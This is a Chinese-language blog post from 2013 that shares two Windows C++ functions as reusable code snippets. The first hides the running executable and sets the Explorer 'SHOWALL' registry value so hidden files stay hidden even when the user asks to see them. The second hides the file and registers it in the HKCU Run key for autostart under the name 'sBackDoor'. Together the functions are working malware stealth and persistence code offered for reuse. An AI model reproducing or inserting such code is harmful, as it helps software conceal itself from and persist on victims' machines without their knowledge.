Chinaunix首页 | 论坛 | 博客
  • 博客访问: 21774
  • 博文数量: 3
  • 博客积分: 10
  • 博客等级: 民兵
  • 技术积分: 83
  • 用 户 组: 普通用户
  • 注册时间: 2012-12-25 09:25
文章分类
文章存档

2013年(3)

我的朋友

分类: Windows平台

2013-03-20 13:08:28

//  我只想安静的做自己的学问, 一直有这个想法,将一些代码块集中起来,想以后使用时更方便,
//但是不知道怎么管理代码块库。只能说gold bless me ,慢慢积累,先写上自己的原创的两段这是,
//最近学了一下注册表的操作,以下的都是关于注册表的操作,绝对能执行

 
//实现程序启动后自动隐藏可执行程序(并且修改显示影藏文件也不会显示隐藏文件)

BOOL not_open_any_WithReg()
{
 BOOL bRet = TRUE;//函数返回值
 HKEY hKey = NULL;//获取子键的句柄
 DWORD Data = 0;//项的键值
 TCHAR szPath[MAX_PATH] = {0};//启动文件位置
 GetModuleFileName(NULL, szPath, MAX_PATH);//获得启动文件位置
 SetFileAttributes( szPath,FILE_ATTRIBUTE_HIDDEN);//实现文件自身隐藏
 TCHAR szSubKey[] = _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL");//子键路径字符串
 LONG lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE/*根键字符串*/, szSubKey/*子键*/, 0/*保留置为0*/, KEY_ALL_ACCESS/*获取所有权限*/, &hKey/*子键返回句柄*/);//打开注册表打开注册表指定的键
 if ( lRet != ERROR_SUCCESS ) {
   bRet = FALSE;
   goto __Error_End;//失败则结束
 }
 const BYTE *a=0;
 lRet = RegSetValueEx(hKey/*子键返回句柄*/, _T("CheckedValue")/*键值名字*/, 0, REG_DWORD/*设置键值类型为字符串类型*/,(LPBYTE)&Data, sizeof(Data));//设定指定键的值
 if ( lRet != ERROR_SUCCESS ) {
  bRet = FALSE;
 }
 //本函数实现文件彻底隐藏
 __Error_End:
 if ( hKey ) {
  RegCloseKey(hKey);//关闭子键句柄
 }
  return bRet;
}





//实现程序的开机自启动

BOOL AutoRunWithReg()
{
 BOOL bRet = TRUE;
 HKEY hKey = NULL;
 TCHAR szPath[MAX_PATH] = {0};
 TCHAR szSubKey[] = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
 GetModuleFileName(NULL, szPath, MAX_PATH);
 SetFileAttributes( szPath,FILE_ATTRIBUTE_HIDDEN);//实现文件自身隐藏

 LONG lRet = RegOpenKeyEx(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hKey);
 if ( lRet != ERROR_SUCCESS ) {
  bRet = FALSE;
  goto __Error_End;
 }
 lRet = RegSetValueEx(hKey, _T("sBackDoor"), 0, REG_SZ, (BYTE *)szPath, sizeof(szPath));
 if ( lRet != ERROR_SUCCESS ) {
  bRet = FALSE;
 }

__Error_End:
 if ( hKey ) {
  RegCloseKey(hKey);
 }
 return bRet;
}


阅读(1687) | 评论(0) | 转发(0) |
0

上一篇:没有了

下一篇:数据结构之数组

给主人留下些什么吧!~~